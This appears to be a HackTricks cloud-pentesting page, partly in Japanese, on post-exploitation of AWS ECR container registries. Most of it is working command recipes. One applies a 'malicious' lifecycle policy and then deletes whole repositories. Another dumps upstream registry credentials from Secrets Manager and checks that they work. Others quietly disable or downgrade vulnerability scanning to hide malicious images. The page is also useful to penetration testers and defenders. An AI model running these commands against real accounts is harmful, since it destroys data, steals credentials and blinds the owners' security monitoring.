# AWS - ECR Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

詳細については次を参照してください

{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}

### Login, Pull & Push
```bash
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
イメージをダウンロードしたら、**機密情報が含まれていないか確認してください**:

{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}

### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

これらのいずれかの権限を持つ攻撃者は、**lifecycle policy を作成または変更してリポジトリ内のすべてのイメージを削除**し、その後 **ECR リポジトリ全体を削除**できます。これにより、リポジトリに保存されているすべてのコンテナイメージが失われます。
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

If ECR Pull‑Through Cache is configured for authenticated upstream registries (Docker Hub, GHCR, ACR, etc.), the upstream credentials are stored in AWS Secrets Manager with a predictable name prefix: `ecr-pullthroughcache/`. Operators sometimes grant ECR admins broad Secrets Manager read access, enabling credential exfiltration and reuse outside AWS.

要件
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue

候補となる PTC secrets を列挙する
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
発見した secrets をダンプして共通フィールドを解析する
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
任意: leaked creds を upstream に対して検証する (read‑only login)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
影響
- Secrets Manager のこれらのエントリを読むことで、再利用可能な upstream registry credentials (username/password or token) を取得できます。これらは AWS 外部で悪用され、upstream の権限に応じてプライベートイメージの pull や追加のリポジトリへのアクセスに使用される可能性があります。


### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`

registry-level ECR 権限を持つ攻撃者は、registry scanning configuration を BASIC に設定し、scan-on-push ルールを設定しないことで、すべてのリポジトリに対する自動脆弱性スキャンを静かに低下させるか無効化できます。これにより新しいイメージのプッシュが自動的にスキャンされなくなり、脆弱なまたは悪意あるイメージが隠されます。

要件
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (オプション、リポジトリ単位)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (検証)

レジストリ全体を手動（自動スキャンなし）にダウングレード
```bash
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
```
repo と image でテスト
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
オプション: repo scopeでさらに権限を低下させる
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
```
影響
- レジストリ全体への新しいイメージのプッシュは自動でスキャンされず、脆弱または悪意のあるコンテンツの可視性が低下し、手動スキャンが実行されるまで検出が遅延します。


### レジストリ全体のスキャンエンジンを `ecr:PutAccountSetting` によってダウングレードする (AWS_NATIVE -> CLAIR)

既定の AWS_NATIVE からレガシーの CLAIR エンジンに BASIC スキャンエンジンを切り替えることで、レジストリ全体の脆弱性検出の品質を低下させます。これはスキャンを無効化するわけではありませんが、検出結果やカバレッジに重大な違いをもたらす可能性があります。ルールを持たない BASIC のレジストリスキャン設定と組み合わせると、スキャンを手動のみで行うようにできます。

要件
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- （オプション） `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

影響
- レジストリ設定 `BASIC_SCAN_TYPE_VERSION` が `CLAIR` に設定され、その後の BASIC スキャンはダウングレードされたエンジンで実行されます。CloudTrail は `PutAccountSetting` API 呼び出しを記録します。

手順
```bash
REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### ECR イメージの脆弱性をスキャンする
```bash
#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}
